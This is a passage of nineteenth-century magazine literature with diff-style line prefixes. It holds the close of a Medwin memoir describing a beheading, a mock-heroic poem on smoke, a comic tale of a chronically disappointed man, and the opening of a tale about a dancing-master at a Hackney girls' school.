+fell doubled up, whilst only a few _gouts_ of blood issued from the
+wound.
+
+The tortured wretch's groans and exclamations found an echo in all
+bosoms; and it was not till after two more sabre strokes that the head
+lay apart, and rolled upwards in the dust. I then saw what I have heard
+described of Charlotte Cordé, after she had been guillotined;--the
+muscles of the face were convulsed as if with sensibility, and the eyes
+glared with horrid meaning, as though the soul yet lingered there. Even
+the executioner could scarcely meet their scowl without shuddering.
+
+It was the first and last spectacle of this kind at which I mean ever
+to be present; and I should not have awaited its awful termination,
+could I have penetrated through the living wall that was a barrier to
+my exit.
+
+You may now guess from whom I obtained many of the details contained
+in this memoir of Mascalbruni. It was from the confessor, who had
+endeavoured, but in vain, to give him spiritual consolation in the
+dungeon and at the block. The Jesuit and myself had mutual revelations
+to make to each other, connecting the present with the past, and which
+have enabled me to weave the dark tissue of his life's thread into
+one piece. I repeat the last words of the good old man at our final
+interview,--"May God have mercy on his soul!"
+
+        F. MEDWIN.
+
+FOOTNOTES:
+
+[Footnote 12: Military terms for a professed duellist, and a
+duellist-killer.]
+
+[Footnote 13: Singularly enough, when her body was discovered near
+the Ponte Rotto, she was untouched by the fish, as though they even
+ventured not to deface her celestial purity. She looked like a marble
+form that slept.]
+
+[Footnote 14: Faust.]
+
+
+
+
+SMOKE.
+
+    "A trifle light as air."
+
+
+    Swift sang a broomstick, and with matchless lore
+    Rehearsed the contents of a housemaid's drawer:
+    Great Burns's genius shone sublime in lice;
+    Old Homer epicised on frogs and mice;
+    And, leaping from his swift Pindaric car,
+    Great Byron eulogised the light cigar;
+    Pope for a moment left the critic's chair,
+    And sang the breezy fan that cools the fair;
+    And he whose harp to loftiest notes was strung,
+    E'en Mantua's Swan, the homely salad sung;
+    Colossal Johnson, famed for dictionary,
+    A sprig of myrtle; Cowper, a canary,
+    Nor scorn'd the humble snail; and Goldsmith's lyre
+    A haunch of venison nobly did inspire;--
+    Of such light themes the loftiest lyres have spoke,
+    And my small shell shall sound the praise of smoke.
+
+      Essence sublime! serenely curling vapour!
+    Fierce from a steam-boat, gentle from a taper,--
+    Daughter of fire, descendant of the sun,
+    Breath of the peaceful pipe and murderous gun,--
+    How gloriously thou roll'st from chimneys high,
+    To seek companion clouds amidst the sky!
+    Thrice welcome art thou to the traveller's sight,
+    And his heart hails thee with sincere delight;
+    As soft thou sail'st amid the ethereal blue,
+    Visions of supper float before his view!
+    Emblem of peace in council, when profound
+    The sacred calumet goes slowly round!
+    Breath of the war, thou canopiest the fight,
+    And veil'st the bloody field in murky night!
+    Precursor of the cannon's deadly shot,
+    And soft adorner of the peasant's cot;
+    With Etna's roaring flames dost thou arise,
+    And from the altar's top perfume the skies!
+
+            I see thee now
+            To the breezes bow,
+        Thy spiral columns lightly bending
+            In gentle whirls
+            And graceful curls,
+        Thy soft grey form with the azure blending.
+        When Nature's tears in dewy showers descend,
+        Close to the earth thine aerial form doth bend;
+            But when in light
+            And beauty bright,
+        With radiant smile she gladdens all,
+            And the sun's soft beam
+            On thy shadowy stream
+        Does in a ray of glory fall,
+            Thou risest high
+            'Mid the deep blue sky,
+        Like a silver shaft from a fairy hall!
+
+      When from the light cigar thy sweet perfume
+    In od'rous cloudlets hovers round the room,
+    Inspired by Fancy's castle-building power,
+    Thy fragile form cheers many a lonely hour.
+    O'er every wave thy misty flag is seen
+    Careering lightly over billows green;
+    And when, 'mid creaming foam and sparkling spray,
+    Celestial Venus rose upon the day,
+    Thy vapoury wreath the goddess did enshroud,
+    And wrapt her beauties in a milk-white cloud.
+    'Twas thou, majestic! led the way before
+    Retreating Israel from th' Egyptian shore;
+    From out thy sable cloud, 'mid lightning's flash,
+    The trumpet's clangour and the thunder's crash,
+    From Sinai's mount the law divine was given,
+    Thy veil conceal'd the Majesty of Heaven!
+    When sun, and moon, and heaven's bright hosts expire,
+    And the great globe decays in flames of fire,
+    Then shalt thou rise, thy banner be unfurl'd
+    Above the smouldering ruins of the world!
+                                       SNODGRASS.
+
+
+
+
+SOME PASSAGES IN THE LIFE OF A DISAPPOINTED MAN.
+
+WITH AN ILLUSTRATION BY GEORGE CRUIKSHANK.
+
+
+Are you a sympathetic reader? If not, I pray you to pass over the
+few pages which constitute this article, and indulge your risible
+propensity with the happier effusions of the laughing philosophers of
+this Miscellany. I have no cachinnatory ambition, and would have my
+leaves well watered, not with the sunny drops of joy, but with the
+camomilical outpourings of sorrow.
+
+Concluding that my request is granted, I will now proceed, sympathetic
+reader, to narrate a few passages of my "strange, eventful history."
+
+I am a disappointed man,--nay, I was even a disappointed baby; for
+it was calculated that the parental anticipations of my forebears
+would have been realised on the 1st of May 1792, whereas, by some
+contradictory vagary of Dame Nature, I entered this valley of tears on
+the 1st of April! This ought to have been considered prognosticatory
+of my future disappointments, and the law of Sparta should have been
+rigidly enforced; for what are crooked limbs to a crooked destiny?
+
+It was the intention of my father (whose name was Jacob Wise) to have
+had me christened after my maternal uncle, Theodosius Otter, Esq.; but,
+having selected a stuttering godfather, I was unfortunately baptized
+as "The-odd-dose-us Oth-er Wise." Nor was this the only disappointment
+which attended me on this occasion, for the pew-opener having received
+instructions to clean the copper coal-scuttle in the vestry-room, the
+basin which contained the vitriol necessary for that purpose was by
+some means or other placed in the font; and to this day I have more the
+appearance of a tattooed Indian than a Christian Englishman.
+
+My babyhood was composed of a series of disappointments. My hair was to
+have been, in the words of the monthly nurse, "the most beautifulest
+horburn," but sprouted forth a splendid specimen of that vegetable dye
+called carroty. I was to have been "as straight as an arrow;" but a cup
+of tea having been spilled over me as I lay in the servant's lap before
+the kitchen fire, I became so dreadfully warped that I am now a sort of
+demi-parenthesis, or, as a malicious punster once called me, "a perfect
+bow."
+
+I had the measles very mildly, as it was affirmed, for the whole
+virulence of the disorder displayed itself in one enormous pustule on
+the tip of my nose. This luminary so excited my infant wonder, that my
+eyes (really fine for green) were continually riveted to the _spot_,
+and have never forgotten it, for one or other of them is invariably
+engaged in searching for the lost treasure.
+
+I was not in convulsions above a dozen times during teething; but no
+sooner had I completed my chaplet of pearls, than the striking-weight
+of a Dutch clock which overhung my cradle dropped into my mouth, and
+convinced me of the extreme simplicity of dental surgery.
+
+[Illustration: A Disappointed Man]
+
+My "going alone" was the source of an infinitude of anxieties to my
+excellent mamma, who was so magnificently proportioned that it
+was many months before I could make the circuit of her full-flounced
+printed calico wrapper without resting. Poor mamma! she lost her life
+from a singular mistake. The house in which we lived had taken fire,
+and two good-natured neighbours threw Mrs. Wise out of the window
+instead of a feather-bed. She alighted on the head of Captain S----,
+who was then considered the _softest_ man in the three kingdoms, and
+received little injury by the ejectment; but her feelings were so
+lacerated by the mistake, that she refused all food, and lived entirely
+by suction, till she died _from_ it.
+
+I will pass over my school-days, merely observing _en passant_ that
+
+      "Each day some unlucky disaster
+    Placed me in the vocative case with my master,"
+
+a squabby, tyrannical, double-jointed pedagogue. He was nicknamed
+_Cane-and-Able_, and I can testify to the justness of the nomenclature.
+At college the same _mis_-fortune attended me. There was ever an
+under-current of disappointment, which rendered all my exertions
+nugatory. If I was by accident "full of the god," I could never knock
+down any one but a proctor. If I determined on keeping close in my
+rooms, the wind immediately changed to N.E. by N. at which point my
+chimneys smoked like a community of Ya-Mynheers. My maternal uncle,
+Theodosius Otter, Esq. had signified that my expectations from him must
+be regulated entirely by my academical distinctions, and I was "pluck'd
+for my little-go." This occurred three months before the old booby's
+death. My legacy consisted of a presentation to the Gooseborough free
+school.
+
+The time at length arrived for me to fall in love. I experienced the
+first symptom of this epidemic at a bombazine ball in the city of
+Norwich. Selina Smithers was the name of my fair enslaver: she was
+about nineteen, fair as Russia tallow, tall, and somewhat slender.
+Indeed her condition is perhaps better described by "the slightest
+possible approximation to lanky." During one short quadrille she told
+me of all her tastes, hopes, experience, family connexions, (including
+a brother at sea,) expectations probable and possible, and of two
+thousand seven hundred and forty-five pounds, fourteen shillings, and
+sixpence, standing in her own name in the three and a half per cents.
+
+With the last _chassez_ I was a victim. At the close of the ball I
+handed Selina and her mamma into a green fly, and found the next
+morning that I had a violent cold in my head, and a violent heat in my
+heart.
+
+As I flourished the brass knocker of Mrs. Smithers' door on the
+following day, the clock of St. Andrew's church struck two; and
+chimed a quarter past, as a girl strongly resembling a kidney-potato,
+red and dirty, gave me ingress into a room with green blinds, seven
+horsehair-bottomed chairs, a round mahogany table, four oil-paintings
+(subjects and masters unknown), two fire-screens of yellow calico
+fluted, and a very shabby square piano. On the music-rest was the song,
+"We met,--'twas in a crowd." Singular coincidence,--_we_ met in a crowd!
+
+The door opened, and Selina bounded into the room like a young fawn.
+Our eyes met, and then simultaneously sought the carpet. I know not
+what object her pale blue orbs encountered; but mine fell on the
+half-picked head of a red herring! "Can it be possible," thought I,
+"that Selina--Pshaw! her brother has returned from sea;" and to his
+account I placed the body of the vulgar fish. I took her hand, and
+gracefully led her to a chair, and then seated myself beside her. Our
+conversation grew animated,--confiding. She recapitulated the amount
+of her three and a half per cents, and in the most considerate manner
+inquired into _my_ pecuniary situation. I was then possessed of seven
+thousand pounds; for my father, during the three last years of his
+life, had been twice burned out, and once sold up, and was thus enabled
+to leave me independent. She could not conceal her delight at my
+prosperous situation,--generous creature! Possessing affluence herself,
+she rejoiced at the well-doing of others. Day after day passed in this
+delightful manner, until I ventured to solicit her to become my wife.
+Judge of my ecstasy when, bending her swan-like neck until her fair
+cheek rested on the velvet collar of my mulberry surtout, she whispered
+almost inaudibly,
+
+"How can you ask me such a question?"
+
+"How can I ask you such a question? Because--because it is necessary to
+my happiness. Oh! name the happy hour when Hymen's chain--that chain
+which has but one link--shall bind you to me for ever!"
+
+She paused a moment, and then faltered out,
+
+"To-morrow week."
+
+I fell upon my knees. Selina did the same; for, in my joy at her
+compliance, I had forgotten that one chair was supporting us both.
+
+Oh, what a busy day was that which followed! I entered Skelton's (the
+tailor's) shop with the journeymen. I ordered three complete suits!
+
+As the rolls were taken into Quillit's parlour, I was shown into the
+office. The worthy lawyer thrice scalded his throat in his anxiety to
+comply with my repeated requests to "see him immediately." He came at
+last. A few brief sentences explained the nature of my business, and he
+hastened to accompany me to Selina. I was so excited by the novelty of
+my situation, that I fell over the maid who was cleaning the step of
+the door, and narrowly escaped dragging Quillit after. Had he fallen, I
+shudder at the contemplation of the probable result; for he was a man
+well to do in the world, and enjoyed a rotundity of figure unrivalled
+in the good city of Norwich. His black waistcoat might have served for
+a bill of fare to an eating-house, for it exhibited samples of all Mrs.
+Glass's choicest preparations.
+
+Away we went, realising the poet's description of Ajax and Camilla:
+
+    "When Ajax strives some rock's vast weight to throw,
+    The line too labours, and the words move slow:
+    Not so when swift Camilla scours the plain,
+    Flies o'er the unbending corn, and skims along the main."
+
+We resembled Reason and Hope, or one of Pickford's barges and a
+towing-horse.
+
+The little brass knocker was again in my hand, the kidney-potato was
+again at the door, and I led in the perspiring lawyer, but looked in
+vain for that expression of admiration which I fondly anticipated would
+have illumined his little grey eyes at the sight of my Venusian Selina.
+
+"This is Mr. Quillit," said I.
+
+"Indeed?" replied Selina.
+
+"We have come, mum," said Quillit, "to arrange a very necessary
+preliminary to the delicate ceremony which my friend Wise has informed
+me will take place on this day week."
+
+Selina blushed. Her mother (bless me! I've quite overlooked her!)
+screwed up her face into an expression between laughing and crying; and
+I--I pushed one hand through my hair, and the other into my breeches
+pocket.
+
+"Mum," continued Quillit, "our business this morning is to make the
+arrangements for your marriage-settlement; and my friend Wise wishes to
+know what part of your two thousand----"
+
+"Seven hundred and forty-five pounds, fourteen shillings, and
+sixpence," said I _sotto voce_.
+
+"--You wish settled upon yourself."
+
+"Oh, nothing,--I require nothing!" exclaimed Selina.
+
+"Hur--!" said I, half rising from my chair in ecstasy at her
+disinterestedness.
+
+"Hem!" coughed Quillit, and took out his toothpick.
+
+"Nothing!" I at length ejaculated. "No, Selina; you shall not be
+subject to the accidents of fortune. Mr. Quillit, put down two thousand
+pounds." And so he did.
+
+The day before my intended nuptials I had paid my customary visit to
+Selina, and it was arranged that the _settlement_ should be executed
+(what a happy union of terms!) that night. I had left but a few minutes
+when I missed my handkerchief. I returned for it. The kidney-potato
+shot out of the house as I turned the corner of the street. I found
+the door ajar, and, not considering any ceremony necessary, I walked
+into the parlour. I had put my handkerchief into the left pocket of my
+coat when I was somewhat startled by a burst of very boisterous male
+and female merriment. I paused. A child's treble was then heard, and in
+a moment after _a child_--_a live child_ entered the room crying most
+piteously. It ceased on beholding me; and when its astonishment had
+subsided, it sobbed out,
+
+"I want mamma!"
+
+"Mamma?" said I. "And who's mamma?"
+
+My query was answered from the first floor.
+
+"Come to mamma, dear!" shouted--Selina!
+
+I don't know what the sensations of a humming-top in full spin may be,
+but I should imagine they are very similar to those which I experienced
+at this particular moment. When I recovered, I was stretched on the
+hearth-rug with my head in the coal-scuttle, surrounded by my Selina,
+her mother, the maid, and I suppose her "brother at sea."
+
+"What is the matter, love?" said ---- You know whom I mean,--I can't
+write her name again.
+
+"Nothing, madam," I replied, "nothing; only I anticipated being married
+to-morrow,--but I shall be disappointed."
+
+The ensuing week I received notice of action for a breach of promise of
+marriage; the ensuing term the cause was tried before an intelligent
+jury; and the ensuing day Quillit handed me a bill for seven hundred
+and sixty-two pounds, one shilling, and eightpence, being the amount
+of damages and costs in Smithers _versus_ Wise. I paid Quillit, sold
+my house and furniture at Norwich, and took up my abode at Bumbleby,
+in Lancashire, resolving to be as love-proof as Miss Martineau, which
+resolution I have religiously observed to this day.
+
+I was, however, involved in one other tender affair, by proxy, which
+produced me more serious annoyances than even my own.
+
+I became acquainted with a merry good-looking fellow, of the name
+of Thomas Styles, who had come from somewhere, and was related to
+somebody, but no one recollected the who or the where. In the same town
+lived an old gentleman, who rejoiced in the singular name of Smith. He
+was blessed with one daughter and a wife. The latter did not reside
+with him, having taken up her permanent residence in a small octagonal
+stone building in the dissenters' burial ground. Styles, by one of
+those accidents common in novels, but very occasional in real life,
+had become acquainted with Miss Smith. They had gone through those
+comparative states of feeling,--acquaintance, friendship, love; and,
+when I was introduced to him, he was just in want of a good fellow to
+help him into matrimony. I was just the boy; my expensive experience,
+my good-nature, my leisure,--in short, there was nothing wanting to fit
+me for this confidential character. Now, be it known that old Smith had
+very strong parliamentary predilections, and one of his _sine quâ nons_
+was, that his son-in-law should be M.P. for somewhere,--Puddle-dock
+would do,--but an M.P. he must be. Politics were of no consequence; but
+he must have a decided opinion that the Bumbleby railway would be most
+beneficial, if carried through a swampy piece of ground which Smith had
+recently purchased. Styles was of the same opinion; but then he was
+only a member of the "Bull's-eye Bowmen," and Mr. Snuffmore's sixpenny
+whist club. I had made myself particularly uncomfortable one afternoon,
+in Styles' summer-house, with three glasses of brandy and water and
+four mild havannas, when old Smith rushed in to announce the gratifying
+intelligence that Mr. Topple, the member for our place, had fallen into
+the crater of Mount Vesuvius, and that nothing had been heard from him
+since, but a solitary interjection, in consequence of which there was a
+vacancy in the representation. The writ had been issued, and so had an
+address from Mr. Wiseman, a gentleman possessing every virtue under the
+sun, save and except a due sense of the advantages of Smith's swamp to
+the railway. This was conclusive. Smith made a speech, which, being for
+interest and not for fame, was short and emphatic.
+
+"Tom, you must contest this election, or never darken my doors again."
+
+"My dear, sir," said Tom, "nothing would give me greater pleasure;
+but----"
+
+"I'll do all that. I'll form a committee _instanter_," replied Smith;
+"leave all to me. Capital hand at an address--pith, nothing but pith.
+Ever see my letter in support of the erection of a pound for stray
+cattle?--pithy and conclusive:--'Inhabitants of Bumbleby, twenty
+shillings make a pound.' The motion was carried."
+
+"One moment," said Tom. "It will appear so presumptuous on my part,
+unless a deputation waited on me."
+
+"Certainly,--better, by all means,--I'll form one directly," said Smith.
+
+"In the mean time, issue a placard to prevent the electors making
+promises, and----"
+
+"I will," said Smith. And so he did; for in an hour afterwards there
+was not a dead wall in Bumbleby but was papered from one end to the
+other.
+
+"Other Wise," said Styles, as Smith waddled up the garden, "this won't
+do for me. I couldn't make a speech of ten consecutive lines, if the
+revenues of the Duchy of Cornwall were depending upon it."
+
+"Pooh!" replied I, rolling my head about in that peculiar style which
+an over-indulgence in bibicals will induce.
+
+"It's a fact," replied Tom. "Now, my dear fellow, you can serve me and
+your country at the same time. Smith would be equally gratified at your
+return for Bumbleby; your opinions are the same as my own; and your
+abilities require no panegyric from me."
+
+Whether it was the suddenness of the probable glory, or the effect
+of the tobacco and brandy and water, I sat speechless. Silence gives
+consent, says an old adage, and so did the town of Bumbleby the next
+morning, for every quarter cried out "Other Wise for ever!" It was
+too late to retract; and accordingly I was nominated, seconded, and
+unanimously elected by a show of hands. A poll was demanded; and, after
+a short contest of two days, it was announced in very large letters,
+and still larger figures,
+
+      Wiseman,         786
+      Other Wise,       92
+            Majority,   --694
+
+I was satisfied, and so was my party. During the preparation for this
+unfortunate contest I had allowed Styles to draw _ad libitum_ upon my
+banker. His friendship knew no bounds; his liberality was as boundless;
+and so chagrined was he at the defeat I had experienced, that he left
+the next morning without an adieu. I must confess that I was rather
+disappointed at his sudden retreat, and considerably more so on finding
+that his exertions in my behalf had reduced my income from four hundred
+pounds to forty pounds per annum. For the first time I doubted his
+friendship. Subsequent inquiries convinced me he was a scoundrel, and I
+commenced an immediate pursuit of him, and an action at law.
+
+Some three months afterwards, I was sauntering about the streets in
+the neighbourhood of St. James's Square, when I encountered Styles.
+His surprise was as great as mine, but not so enduring; for, advancing
+towards me with all the coolness of the 1st of December, he exclaimed,
+
+"Other Wise, how are you? I dare say you thought my sudden departure
+odd; I did myself; but I couldn't help it. I'm sorry to hear how much
+your contest has distressed you. I was the cause. Give me your check
+for fifty pounds, and here's a bill for five hundred, due to-morrow."
+
+Suiting the action to the word, he handed me an acceptance for that
+amount inclosed in a dirty piece of paper. All this was so rapidly
+said and done, that before I was aware of it I had given him a draft
+on Drummond, shaken hands with him, and was mechanically discussing a
+mutton-chop and a bottle of sherry, which I had unconsciously ordered
+in the delirium which succeeded Styles' unheard-of generosity.
+
+I went the next day to Messrs. Podge and Co. in Lombard-street, with my
+promise-to-pay--Eldorado in my pocket. I entered the counting-house,
+presented my bill, and fully expected to have received either
+bank-notes or gold in exchange. I waited a few minutes, and was then
+ushered into a back-room, and politely requested to account for this
+money promissory document.
+
+"From whom did you receive this bill?" said a gentleman with a powdered
+head and an immense watch-chain.
+
+"From Mr. Styles."
+
+"Where does he live?"
+
+"I don't know exactly; but I hope there is nothing irregular."
+
+"You can step in, Banks," said the powdered head; and a stout well-fed
+man, in a blue coat, with the City arms on the button, _did_ step
+in, and very unceremoniously proceeded to inspect the contents of my
+various pockets. "Conclusive!" said the powdered head, as he minutely
+examined a small piece of crumpled paper which had occupied one of the
+pockets of my small-clothes.
+
+I was handed into a hackney-coach, and then into the Mansion-house,
+where I was informed that I was to live rent-free for the next week in
+his Majesty's jail of Newgate. The bill was a forgery!
+
+The day of trial approached. I walked into the dock with _mens
+conscia recti_ depicted on my countenance. I knew I was innocent of
+any felonious intention or knowledge; and was certainly very much
+_disappointed_ at being found guilty upon the silent evidence of
+the little piece of crumpled paper, which was covered with pen and
+ink experiments on the signature of John Allgold and Co. whose name
+occupied the centre of Styles' bill. The recorder (in a very impressive
+manner, I must allow, for his white handkerchief was waving about the
+whole time) passed sentence of death upon me, and I was ordered to be
+taken from thence, and on the Monday following to be hung by the neck
+till I was dead. A pleasant termination, truly!
+
+I was led, stupified by the result of my trial, back to the prison.
+When I regained the use of my faculties, my awful situation became
+horridly apparent. There was I, an innocent and injured man, condemned
+to suffer the extreme penalty of the law. For endeavouring to gain
+possession of my own, I was about to become a spectacle for the
+fish-fags and costermongers of London,--to have my name handed down
+to posterity by that undying trumpeter of evil-doers, Mr. Catnach, of
+the Seven-dials, who alternately delights the public with "three yards
+long of every new song, and all for a penny," and "the last dying
+speech and confession" of those who, dreading to be bed-ridden, and
+possessing an unconquerable aversion to doctors' stuff and virtue,
+have danced upon nothing, and died with their shoes on. "How often,"
+thought I, "have I seen a withered hag kneeling at the rails of an
+area, exciting the sympathies and curiosity of servants of all-work,
+and greasy melting cooks, by the recital of atrocities that the hand
+of man never executed. 'Here's a full, true, and 'tickler account of a
+horrid murder, which was performed in the New-cut, Lambeth, on the body
+of a baked-'tater manufacturer, who was savagely and inhumanly murdered
+by that ferocious and hard-hearted villain, Benjamin Burker;--here you
+have the account how, arter putting a poor man's plaister, composed of
+pitch and bird-lime, over the unhappy _indivigual's mouf_ until the
+breath was out on his body, he shoved him into the oven, and lived
+seven days and nights on baked taters and the manyfacterers.' Thus
+might I be misrepresented. The thought was madness!"
+
+The morning at length arrived for my execution; but, oh! the horrors
+of the night that preceded it! Young, and in the full enjoyment of
+life, the morrow was to bring me death! In a little week, the hand
+which I then gazed on, would be a banquet for the red worm of the
+grave. Even the mother who watched the cradle of my infancy would
+have turned loathingly away from the corrupted mass; the earth which
+covered me would be thought unhallowed, and my name would become
+symbolical with crime. But even this, was nothing to the contemplation
+of the scene I had still to enact. To be led forth "the observed of
+all observers," who would look on me with an eye, not of pity, but of
+morbid curiosity,--to hang quivering in the air,--and to feel, while
+consciousness remained, that each shuddering of struggling nature was
+imparting a savage delight to those who could be the willing witnesses
+of the sacrifice of a fellow-creature! My brain sickened with its
+agony, and I fell into a stupor which my jailor called sleep. I was
+pinioned, and led forth to die. Life had now no charm for me,--I
+was beyond the reach of hope, and death was a desired blessing. The
+hangman's hands were about my neck,--the blood curdled in my veins
+as I felt the deadly embrace of the cord. I longed for the signal of
+departure; but I was again disappointed. I was reprieved,--for I awoke,
+and found that the bill and all its frightful consequences were but
+the result of having eaten a hearty supper of pork-chops very much
+underdone! So I was once again a disappointed man, though, on this
+occasion, I must own, most agreeably so.
+
+
+
+
+THE PROFESSOR.--A TALE.
+
+BY GOLIAH GAHAGAN.
+
+"Why, then, the world's mine oyster."
+
+
+CHAPTER I.
+
+I have often remarked that, among other ornaments and curiosities,
+Hackney contains more ladies' schools than are to be found in almost
+any other village, or indeed city, in Europe. In every green rustic
+lane, to every tall old-fashioned house there is an iron gate, an
+ensign of blue and gold, and a large brass plate, proclaiming that a
+ladies' seminary is established upon the premises. On one of these
+plates is written--(or rather was,--for the pathetic occurrence which
+I have to relate took place many years ago)--on one of these plates, I
+say, was engraven the following inscription:
+
+                            BULGARIA HOUSE.
+            Seminary for Young Ladies from three to twenty.
+                         BY THE MISSES PIDGE.
+
+                       (Please wipe your shoes.)
+
+The Misses Pidge took a limited number of young ladies, (as limited, in
+fact, or as large as the public chose,) and instructed them in those
+branches of elegant and useful learning which make the British female
+so superior to all other shes. The younger ones learned the principles
+of back-stitch, cross-stitch, bob-stitch, Doctor Watts's hymns, and
+"In my cottage near a wood." The elder pupils diverged at once from
+stitching and samplers: they played like Thalberg, and pirouetted like
+Taglioni; they learned geography, geology, mythology, entomology,
+modern history, and simple equations (Miss Z. Pidge); they obtained
+a complete knowledge of the French, German, and Italian tongues, not
+including English, taught by Miss Pidge; Poonah painting and tambour
+(Miss E. Pidge); Brice's questions and elocution (Miss F. Pidge); and,
+to crown all, dancing and gymnastics (which had a very flourishing look
+in the Pidge prospectus, and were printed in German text,)--DANCING and
+GYMNASTICS, we say, by Professor DANDOLO. The names of other professors
+and assistants followed in modester type.
+
+Although the signor's name was decidedly foreign, so English was
+his appearance, and so entirely did he disguise his accent, that
+it was impossible to tell of what place he was a native, if not of
+London, and of the very heart of it; for he had caught completely the
+peculiarities which distinguish the so-called cockney part of the City,
+and obliterated his h's and doubled his v's, as if he had been for all
+his life in the neighbourhood of Bow-bells. Signor Dandolo was a stout
+gentleman of five feet nine, with amazing expanse of mouth, chest, and
+whiskers, which latter were of a red hue.
+
+I cannot tell how this individual first received an introduction to the
+academy of the Misses Pidge, and established himself there. Rumours
+say that Miss Zela Pidge at a Hackney ball first met him, and thus
+the intimacy arose; but, since the circumstances took place which I
+am about to relate, that young lady declares that _she_ was not the
+person who brought him to Bulgaria House,--nothing but the infatuation
+and entreaties of Mrs. Alderman Grampus could ever have induced her
+to receive him. The reader will gather from this, that Dandolo's
+after-conduct at Miss Pidge's was not satisfactory,--nor was it; and
+may every mistress of such an establishment remember that confidence
+can be sometimes misplaced; that friendship is frequently but another
+name for villany.
+
+But to our story. The stalwart and active Dandolo delighted for some
+time the young ladies at Miss Pidge's by the agility which he displayed
+in the dance, as well as the strength and manliness of his form, as
+exhibited in the new amusement which he taught. In a very short time,
+Miss Binx, a stout young lady of seventeen, who had never until his
+appearance walked half a mile without puffing like an apoplectic Lord
+Mayor, could dance the cachouca, swarm up a pole with the agility
+of a cat, and hold out a chair for three minutes without winking.
+Miss Jacobs could very nearly climb through a ladder (Jacob's ladder
+he profanely called it); and Miss Bole ring such changes upon the
+dumb-bells as might have been heard at Edmonton, if the bells could
+have spoken. But the most promising pupil of Professor Dandolo, as
+indeed the fairest young creature in the establishment of Bulgaria
+House, was Miss Adeliza Grampus, daughter of the alderman whose name
+we have mentioned. The pride of her mother, the idol of her opulent
+father, Adeliza Grampus was in her nineteenth year. Eyes have often
+been described; but it would require bluer ink than ours to depict
+the orbs of Adeliza; the snow when it first falls in Cheapside is not
+whiter than her neck,--when it has been for some days upon the ground,
+trampled by dustmen and jarvies, trodden down by sweeps and gentlemen
+going to business, not blacker than her hair. Slim as the Monument on
+Fish-street-hill, her form was slender and tall: but it is needless to
+recapitulate her charms, and difficult indeed to describe them. Let
+the reader think of his first love, and fancy Adeliza. Dandolo, who
+was employed to instruct her, saw her, and fancied her too, as many a
+fellow of his inflammable temperament would have done in his place.
+
+There are few situations in life which can be so improved by an
+enterprising mind as that of a dancing-master,--I mean in a tender
+or amatory point of view. The dancing-master has over the back, the
+hands, the feet and shoulders of his pupils an absolute command; and,
+being by nature endowed with so much authority, can speedily spread
+his sway from the limbs to the rest of the body, and to the mind
+inclusive. "_Toes a little more out, Miss Adeliza_," cries he with the
+tenderest air in the world; "back a _little_ more straight," and he
+gently seizes her hand, he raises it considerably above the level of
+her ear, he places the tips of his left-hand fingers gently upon the
+young lady's spine, and in this seducing attitude gazes tenderly into
+her eyes! I say that no woman at any age can stand this attitude and
+this look, especially when darted from such eyes as those of Dandolo.
+On the two first occasions when the adventurer attempted this audacious
+manœuvre, his victim blushed only and trembled; on the third she
+dropped her full eyelids and turned ghastly pale. "A glass of water,"
+cried Adeliza, "or I faint." The dancing-master hastened eagerly
+away to procure the desired beverage, and, as he put it to her lips,
+whispered thrillingly in her ear, "Thine, thine for ever, Adeliza!"
+
+Miss Grampus sank back in the arms of Miss Binx, but not before her
+raptured lover saw her eyes turning towards the ceiling, and her clammy
+lips whispering the name of "Dandolo."
+
+When Madame Schroeder, in the opera of Fidelio, cries, "Nichts, nichts,
+mein Florestan," it is as nothing compared to the tenderness with which
+Miss Grampus uttered that soft name.
+
+"Dandolo!" would she repeat to her confidante, Miss Binx; "the name
+was beautiful and glorious in the olden days; five hundred years
+since, a myriad of voices shouted it in Venice, when one who bore it
+came forward to wed the sea--the Doge's bride! the blue Adriatic! the
+boundless and eternal main! The frightened Turk shrunk palsied at the
+sound; it was louder than the loudest of the cannon, or the stormy
+screaming of the tempest! Dandolo! how many brave hearts beat to hear
+that name! how many bright swords flashed forth at that resistless
+war-cry! Oh, Binx," would Adeliza continue, fondly pressing the arm of
+that young lady, "is it not passing strange that one of that mighty
+ducal race should have lived to this day, and lived to love _me_! But
+I, too," Adeliza would add archly, "am, as you know, a daughter of the
+sea."
+
+The fact was, that the father of Miss Adeliza Grampus was a
+shellfishmonger, which induced the young lady to describe herself as
+a daughter of Ocean. She received her romantic name from her mother
+after reading Miss Swipes's celebrated novel of Toby of Warsaw, and had
+been fed from her youth upwards with so much similar literary ware,
+that her little mind had gone distracted. Her father had sent her from
+home at fifteen, because she had fallen in love with the young man who
+opened natives in the shop, and had vowed to slay herself with the
+oyster-knife. At Miss Pidge's her sentiment had not deserted her; she
+knew all Miss Landon by heart, had a lock of Mr. Thomas Moore's hair or
+wig, and read more novels and poetry than ever. And thus the red-haired
+dancing-master became in her eyes a Venetian nobleman, with whom it was
+her pride and pleasure to fall in love.
+
+Being a parlour-boarder at Miss Pidge's seminary, (a privilege which
+was acquired by paying five annual guineas extra,) Miss Grampus was
+permitted certain liberties which were not accorded to scholars of the
+ordinary description. She and Miss Binx occasionally strolled into the
+village by themselves; they visited the library unattended; they went
+upon little messages for the Misses Pidge; they walked to church alone,
+either before or after the long row of young virgins who streamed
+out on every Sabbath day from between the filigree iron railings of
+Bulgaria House. It is my painful duty to state that on several of
+these exclusive walks they were followed, or met, by the insidious and
+attentive teacher of gymnastics.
+
+Soon Miss Binx would lag behind, and--shall I own it?--would make up
+for the lost society of her female friend by the company of a man,
+a friend of the professor, mysterious and agreeable as himself. May
+the mistresses of all the establishments for young ladies in this
+kingdom, or queendom rather, peruse this, and reflect how dangerous
+it is for young ladies of any age,--ay, even for parlour-boarders--to
+go out alone! In the present instance Miss Grampus enjoyed a more
+than ordinary liberty, it is true: when the elder Misses Pidge would
+remonstrate, Miss Zela would anxiously yield to her request; and
+why?--the reason may be gathered from the following conversation which
+passed between the infatuated girl and the wily _maître de danse_.
+
+"How, Roderick," would Adeliza say, "how, in the days of our first
+acquaintance, did it chance that you always addressed yourself to that
+odious Zela Pidge, and never deigned to breathe a syllable to me?"
+
+"My lips didn't speak to you, Addly," (for to such a pitch of
+familiarity had they arrived,) "but my heyes did."
+
+Adeliza was not astonished by the peculiarity of his pronunciation,
+for, to say truth, it was that commonly adopted in her native home and
+circle. "And mine," said she tenderly, "they followed when yours were
+not fixed upon them, for _then_ I dared not look upwards. And though
+all on account of Miss Pidge you could not hear the accents of my
+voice, you might have heard the beatings of my heart!"
+
+"I did, I did," gasped Roderick; "I eard them haudibly. I never spoke
+to you then, for I feared to waken that foul friend sispicion. I wished
+to henter your seminary, to be continually near you, to make you love
+me; therefore I wooed the easy and foolish Miss Pidge, therefore I took
